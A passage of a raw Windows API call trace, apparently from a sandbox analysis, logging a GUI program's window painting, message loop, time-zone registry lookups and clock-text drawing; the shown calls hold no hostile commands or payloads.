y1=0, x2=0, y2=0) returned 0xc10406fe [0157.098] GetClipRgn (hdc=0x2e010738, hrgn=0xc10406fe) returned 0 [0157.098] SelectClipRgn (hdc=0x2e010738, hrgn=0x520406f7) returned 2 [0157.098] DeleteObject (ho=0xc10406fe) returned 1 [0157.098] DeleteObject (ho=0x520406f7) returned 1 [0157.098] OffsetViewportOrgEx (in: hdc=0x2e010738, x=0, y=0, lppt=0x301b350 | out: lppt=0x301b350) returned 1 [0157.098] GetNearestColor (hdc=0x2e010738, color=0x323533) returned 0x323533 [0157.098] CreateSolidBrush (color=0x323533) returned 0x710073a [0157.098] FillRect (hDC=0x2e010738, lprc=0x19e7cc, hbr=0x710073a) returned 1 [0157.098] DeleteObject (ho=0x710073a) returned 1 [0157.098] RestoreDC (hdc=0x2e010738, nSavedDC=-1) returned 1 [0157.098] GdipReleaseDC (graphics=0x691e928, hdc=0x2e010738) returned 0x0 [0157.098] GdipRestoreGraphics (graphics=0x691e928, state=0xfd670dbd) returned 0x0 [0157.098] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.098] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0157.098] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0157.098] GetSystemMetrics (nIndex=42) returned 0 [0157.098] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e870, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0157.098] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e870) returned 0x6 [0157.098] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.098] GetCurrentObject (hdc=0x2e010738, type=0x1) returned 0xb00017 [0157.098] GetCurrentObject (hdc=0x2e010738, type=0x2) returned 0x900010 [0157.098] GetCurrentObject (hdc=0x2e010738, type=0x7) returned 0x8050721 [0157.098] GetCurrentObject (hdc=0x2e010738, type=0x6) returned 0x8a01c2 [0157.098] SaveDC (hdc=0x2e010738) returned 1 [0157.099] GetNearestColor (hdc=0x2e010738, color=0xfdfdfa) returned 0xfdfdfa [0157.099] RestoreDC (hdc=0x2e010738, nSavedDC=-1) returned 1 [0157.099] GdipReleaseDC (graphics=0x691e928, hdc=0x2e010738) returned 0x0 [0157.099] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0157.099] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0157.099] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.099] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.099] GetCurrentObject (hdc=0x2e010738, type=0x1) returned 0xb00017 [0157.099] GetCurrentObject (hdc=0x2e010738, type=0x2) returned 0x900010 [0157.099] GetCurrentObject (hdc=0x2e010738, type=0x7) returned 0x8050721 [0157.099] GetCurrentObject (hdc=0x2e010738, type=0x6) returned 0x8a01c2 [0157.099] SaveDC (hdc=0x2e010738) returned 1 [0157.099] GetTextAlign (hdc=0x2e010738) returned 0x0 [0157.099] GetTextColor (hdc=0x2e010738) returned 0x0 [0157.100] SetTextColor (hdc=0x2e010738, color=0xfdfdfa) returned 0x0 [0157.100] GetCurrentObject (hdc=0x2e010738, type=0x6) returned 0x8a01c2 [0157.100] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.100] SelectObject (hdc=0x2e010738, h=0x450a062b) returned 0x8a01c2 [0157.100] GetBkMode (hdc=0x2e010738) returned 2 [0157.100] SetBkMode (hdc=0x2e010738, mode=1) returned 2 [0157.100] DrawTextExW (in: hdc=0x2e010738, lpchText="FD1HVy", cchText=6, lprc=0x19e708, format=0x100000, lpdtp=0x301b7d8 | out: lpchText="FD1HVy", lprc=0x19e708) returned 33 [0157.101] RestoreDC (hdc=0x2e010738, nSavedDC=-1) returned 1 [0157.101] GdipReleaseDC (graphics=0x691e928, hdc=0x2e010738) returned 0x0 [0157.101] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.101] BitBlt (hdc=0x60100ce, x=0, y=0, cx=120, cy=33, hdcSrc=0x2e010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.101] GdipReleaseDC (graphics=0x691e928, hdc=0x2e010738) returned 0x0 [0157.101] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.101] SelectObject (hdc=0x2e010738, h=0x85000f) returned 0x8050721 [0157.101] DeleteDC (hdc=0x2e010738) returned 1 [0157.101] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.101] EndPaint (hWnd=0x20238, lpPaint=0x19e8c8) returned 1 [0157.101] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.101] IsWindowUnicode (hWnd=0x2023a) returned 1 [0157.101] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.102] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.102] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.102] BeginPaint (in: hWnd=0x2023a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0157.102] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.102] CreateCompatibleDC (hdc=0x10105d6) returned 0x30010738 [0157.102] SelectObject (hdc=0x30010738, h=0x8050721) returned 0x85000f [0157.102] GdipCreateFromHDC (hdc=0x30010738, graphics=0x19e8e4) returned 0x0 [0157.102] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.102] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=122, height=33, combineMode=0x0) returned 0x0 [0157.102] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.102] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.102] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.102] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75a28 [0157.102] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf75a28) returned 0x0 [0157.102] LocalFree (hMem=0xf75a28) returned 0x0 [0157.102] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.102] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.102] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.102] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.102] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.103] GetWindowTextLengthW (hWnd=0x2023a) returned 9 [0157.103] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0157.103] GetSystemMetrics (nIndex=42) returned 0 [0157.103] GetWindowTextW (in: hWnd=0x2023a, lpString=0x19e86c, nMaxCount=10 | out: lpString="Helloy - ") returned 9 [0157.103] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0157.103] GetClientRect (in: hWnd=0x2023a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.103] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.103] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.103] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.103] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.103] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.103] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75a28 [0157.103] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75a28) returned 0x0 [0157.103] LocalFree (hMem=0xf75a28) returned 0x0 [0157.103] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.103] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758a0 [0157.103] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf758a0) returned 0x0 [0157.103] LocalFree (hMem=0xf758a0) returned 0x0 [0157.103] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.103] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.103] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.103] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.103] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.103] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.103] GetCurrentObject (hdc=0x30010738, type=0x1) returned 0xb00017 [0157.103] GetCurrentObject (hdc=0x30010738, type=0x2) returned 0x900010 [0157.104] GetCurrentObject (hdc=0x30010738, type=0x7) returned 0x8050721 [0157.104] GetCurrentObject (hdc=0x30010738, type=0x6) returned 0x8a01c2 [0157.104] SaveDC (hdc=0x30010738) returned 1 [0157.104] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x530406f7 [0157.104] GetClipRgn (hdc=0x30010738, hrgn=0x530406f7) returned 0 [0157.104] SelectClipRgn (hdc=0x30010738, hrgn=0xc30406fe) returned 2 [0157.104] DeleteObject (ho=0x530406f7) returned 1 [0157.104] DeleteObject (ho=0xc30406fe) returned 1 [0157.104] OffsetViewportOrgEx (in: hdc=0x30010738, x=0, y=0, lppt=0x301bc00 | out: lppt=0x301bc00) returned 1 [0157.104] GetNearestColor (hdc=0x30010738, color=0x323533) returned 0x323533 [0157.104] CreateSolidBrush (color=0x323533) returned 0x810073a [0157.104] FillRect (hDC=0x30010738, lprc=0x19e7cc, hbr=0x810073a) returned 1 [0157.104] DeleteObject (ho=0x810073a) returned 1 [0157.104] RestoreDC (hdc=0x30010738, nSavedDC=-1) returned 1 [0157.104] GdipReleaseDC (graphics=0x691e928, hdc=0x30010738) returned 0x0 [0157.104] GdipRestoreGraphics (graphics=0x691e928, state=0xfd650dbd) returned 0x0 [0157.104] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.104] GetWindowTextLengthW (hWnd=0x2023a) returned 9 [0157.104] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0157.104] GetSystemMetrics (nIndex=42) returned 0 [0157.104] GetWindowTextW (in: hWnd=0x2023a, lpString=0x19e86c, nMaxCount=10 | out: lpString="Helloy - ") returned 9 [0157.104] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0157.104] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.105] GetCurrentObject (hdc=0x30010738, type=0x1) returned 0xb00017 [0157.105] GetCurrentObject (hdc=0x30010738, type=0x2) returned 0x900010 [0157.105] GetCurrentObject (hdc=0x30010738, type=0x7) returned 0x8050721 [0157.105] GetCurrentObject (hdc=0x30010738, type=0x6) returned 0x8a01c2 [0157.105] SaveDC (hdc=0x30010738) returned 1 [0157.105] GetNearestColor (hdc=0x30010738, color=0xfdfdfa) returned 0xfdfdfa [0157.105] RestoreDC (hdc=0x30010738, nSavedDC=-1) returned 1 [0157.105] GdipReleaseDC (graphics=0x691e928, hdc=0x30010738) returned 0x0 [0157.118] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.118] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.119] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.119] SelectObject (hdc=0x30010738, h=0x450a062b) returned 0x8a01c2 [0157.119] DrawTextExW (in: hdc=0x30010738, lpchText="Helloy - ", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x301c094 | out: lpchText="Helloy - ", lprc=0x19e708) returned 33 [0157.120] GdipReleaseDC (graphics=0x691e928, hdc=0x30010738) returned 0x0 [0157.120] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.120] GdipReleaseDC (graphics=0x691e928, hdc=0x30010738) returned 0x0 [0157.120] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.120] EndPaint (hWnd=0x2023a, lpPaint=0x19e8c8) returned 1 [0157.120] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.120] IsWindowUnicode (hWnd=0x50074) returned 1 [0157.120] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.120] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.120] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.121] CoTaskMemAlloc (cb=0x29) returned 0xf754b0 [0157.124] CoTaskMemAlloc (cb=0xb) returned 0xf6d520 [0157.127] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19e970 | out: lpTimeZoneInformation=0x19e970) returned 0x2 [0157.127] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x19e7cc | out: pTimeZoneInformation=0x19e7cc) returned 0x2 [0157.129] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e8b0 | out: phkResult=0x19e8b0*=0x460) returned 0x0 [0157.129] RegQueryValueExW (in: hKey=0x460, lpValueName="TZI", lpReserved=0x0, lpType=0x19e8cc, lpData=0x0, lpcbData=0x19e8c8*=0x0 | out: lpType=0x19e8cc*=0x3, lpData=0x0, lpcbData=0x19e8c8*=0x2c) returned 0x0 [0157.130] RegQueryValueExW (in: hKey=0x460, lpValueName="TZI", lpReserved=0x0, lpType=0x19e8cc, lpData=0x301cad4, lpcbData=0x19e8c8*=0x2c | out: lpType=0x19e8cc*=0x3, lpData=0x301cad4*, lpcbData=0x19e8c8*=0x2c) returned 0x0 [0157.130] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e704 | out: phkResult=0x19e704*=0x0) returned 0x2 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x19e8a4, lpData=0x0, lpcbData=0x19e8a0*=0x0 | out: lpType=0x19e8a4*=0x1, lpData=0x0, lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x19e8a4, lpData=0x301cfc8, lpcbData=0x19e8a0*=0x20 | out: lpType=0x19e8a4*=0x1, lpData="@tzres.dll,-320", lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x19e8a4, lpData=0x0, lpcbData=0x19e8a0*=0x0 | out: lpType=0x19e8a4*=0x1, lpData=0x0, lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x19e8a4, lpData=0x301d020, lpcbData=0x19e8a0*=0x20 | out: lpType=0x19e8a4*=0x1, lpData="@tzres.dll,-322", lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x19e8a4, lpData=0x0, lpcbData=0x19e8a0*=0x0 | out: lpType=0x19e8a4*=0x1, lpData=0x0, lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.132] RegQueryValueExW (in: hKey=0x460, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x19e8a4, lpData=0x301d078, lpcbData=0x19e8a0*=0x20 | out: lpType=0x19e8a4*=0x1, lpData="@tzres.dll,-321", lpcbData=0x19e8a0*=0x20) returned 0x0 [0157.140] GetCurrentProcess () returned 0xffffffff [0157.144] GetCurrentProcess () returned 0xffffffff [0157.145] GetCurrentProcess () returned 0xffffffff [0157.146] GetCurrentProcess () returned 0xffffffff [0157.149] GetCurrentProcess () returned 0xffffffff [0157.150] GetCurrentProcess () returned 0xffffffff [0157.150] GetCurrentProcess () returned 0xffffffff [0157.151] GetCurrentProcess () returned 0xffffffff [0157.155] GetCurrentProcess () returned 0xffffffff [0157.155] GetCurrentProcess () returned 0xffffffff [0157.157] GetCurrentProcess () returned 0xffffffff [0157.157] GetCurrentProcess () returned 0xffffffff [0157.159] GetCurrentProcess () returned 0xffffffff [0157.160] GetCurrentProcess () returned 0xffffffff [0157.161] GetCurrentProcess () returned 0xffffffff [0157.162] GetCurrentProcess () returned 0xffffffff [0157.164] GetCurrentProcess () returned 0xffffffff [0157.165] GetCurrentProcess () returned 0xffffffff [0157.166] GetCurrentProcess () returned 0xffffffff [0157.166] GetCurrentProcess () returned 0xffffffff [0157.168] GetCurrentProcess () returned 0xffffffff [0157.169] GetCurrentProcess () returned 0xffffffff [0157.170] GetCurrentProcess () returned 0xffffffff [0157.170] GetCurrentProcess () returned 0xffffffff [0157.181] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.181] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf72728 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0157.181] GetCurrentProcess () returned 0xffffffff [0157.182] GetCurrentProcess () returned 0xffffffff [0157.183] GetCurrentProcess () returned 0xffffffff [0157.184] GetCurrentProcess () returned 0xffffffff [0157.185] GetCurrentProcess () returned 0xffffffff [0157.186] GetCurrentProcess () returned 0xffffffff [0157.189] CoTaskMemFree (pv=0xf72728) [0157.189] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.189] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath=0xf72728, pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8 | out: pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8) returned 1 [0157.190] CoTaskMemFree (pv=0x0) [0157.190] CoTaskMemFree (pv=0xf72728) [0157.191] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x85f0001 [0157.192] CoTaskMemAlloc (cb=0x3ec) returned 0xf72728 [0157.192] LoadStringW (hInstance=0x85f0001, uID=0x140, lpBuffer=0xf72728, cchBufferMax=500) [0157.192] CoTaskMemFree (pv=0xf72728) [0157.193] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.193] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf72728 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0157.193] CoTaskMemFree (pv=0xf72728) [0157.193] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.193] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath=0xf72728, pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8 | out: pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8) returned 1 [0157.195] CoTaskMemFree (pv=0x0) [0157.195] CoTaskMemFree (pv=0xf72728) [0157.195] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x85f0001 [0157.196] CoTaskMemAlloc (cb=0x3ec) returned 0xf72728 [0157.196] LoadStringW (hInstance=0x85f0001, uID=0x142, lpBuffer=0xf72728, cchBufferMax=500) [0157.196] CoTaskMemFree (pv=0xf72728) [0157.196] FreeLibrary (hLibModule=0x85f0001) returned 1 [0157.197] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.197] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0xf72728 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0157.197] CoTaskMemFree (pv=0xf72728) [0157.197] CoTaskMemAlloc (cb=0x20c) returned 0xf72728 [0157.197] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath=0xf72728, pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8 | out: pwszLanguage=0x0, pcchLanguage=0x19e8c0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e8c4, pululEnumerator=0x19e8b8) returned 1 [0157.198] CoTaskMemFree (pv=0x0) [0157.198] CoTaskMemFree (pv=0xf72728) [0157.198] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x85f0001 [0157.199] CoTaskMemAlloc (cb=0x3ec) returned 0xf72728 [0157.199] LoadStringW (hInstance=0x85f0001, uID=0x141, lpBuffer=0xf72728, cchBufferMax=500) [0157.199] CoTaskMemFree (pv=0xf72728) [0157.199] FreeLibrary (hLibModule=0x85f0001) returned 1 [0157.200] RegCloseKey (hKey=0x460) returned 0x0 [0157.236] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x450a062b [0157.236] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:57:58", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3023a00 | out: lpchText="06:57:58", lprc=0x19e938) returned 50 [0157.238] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0157.239] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.239] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.239] GetSystemMetrics (nIndex=42) returned 0 [0157.239] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0157.239] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0157.239] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.239] IsWindowUnicode (hWnd=0x20236) returned 1 [0157.239] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.240] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.240] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.240] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0157.240] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.240] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x31010738 [0157.240] SelectObject (hdc=0x31010738, h=0x8050721) returned 0x85000f [0157.240] GdipCreateFromHDC (hdc=0x31010738, graphics=0x19e8e4) returned 0x0 [0157.240] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.240] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0157.240] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.240] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.240] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.241] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0157.241] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf75be8) returned 0x0 [0157.241] LocalFree (hMem=0xf75be8) returned 0x0 [0157.241] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.241] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.241] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.241] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.241] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.241] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.241] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.241] GetSystemMetrics (nIndex=42) returned 0 [0157.241] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:57:58") returned 8 [0157.241] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.241] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.241] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.241] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.241] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.241] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.241] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.241] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0157.241] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0157.241] LocalFree (hMem=0xf75bb0) returned 0x0 [0157.241] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.242] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0157.242] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0157.242] LocalFree (hMem=0xf75bb0) returned 0x0 [0157.242] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.242] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.242] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.242] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.242] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.242] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.242] GetCurrentObject (hdc=0x31010738, type=0x1) returned 0xb00017 [0157.242] GetCurrentObject (hdc=0x31010738, type=0x2) returned 0x900010 [0157.242] GetCurrentObject (hdc=0x31010738, type=0x7) returned 0x8050721 [0157.242] GetCurrentObject (hdc=0x31010738, type=0x6) returned 0x8a01c2 [0157.242] SaveDC (hdc=0x31010738) returned 1 [0157.242] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc40406fe [0157.242] GetClipRgn (hdc=0x31010738, hrgn=0xc40406fe) returned 0 [0157.242] SelectClipRgn (hdc=0x31010738, hrgn=0x560406f7) returned 2 [0157.242] DeleteObject (ho=0xc40406fe) returned 1 [0157.242] DeleteObject (ho=0x560406f7) returned 1 [0157.243] OffsetViewportOrgEx (in: hdc=0x31010738, x=0, y=0, lppt=0x3023dd0 | out: lppt=0x3023dd0) returned 1 [0157.243] GetNearestColor (hdc=0x31010738, color=0x22a3f8) returned 0x22a3f8 [0157.243] CreateSolidBrush (color=0x22a3f8) returned 0x910073a [0157.243] FillRect (hDC=0x31010738, lprc=0x19e7cc, hbr=0x910073a) returned 1 [0157.243] DeleteObject (ho=0x910073a) returned 1 [0157.243] RestoreDC (hdc=0x31010738, nSavedDC=-1) returned 1 [0157.243] GdipReleaseDC (graphics=0x691e928, hdc=0x31010738) returned 0x0 [0157.243] GdipRestoreGraphics (graphics=0x691e928, state=0xfd630dbd) returned 0x0 [0157.243] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.243] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.243] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.243] 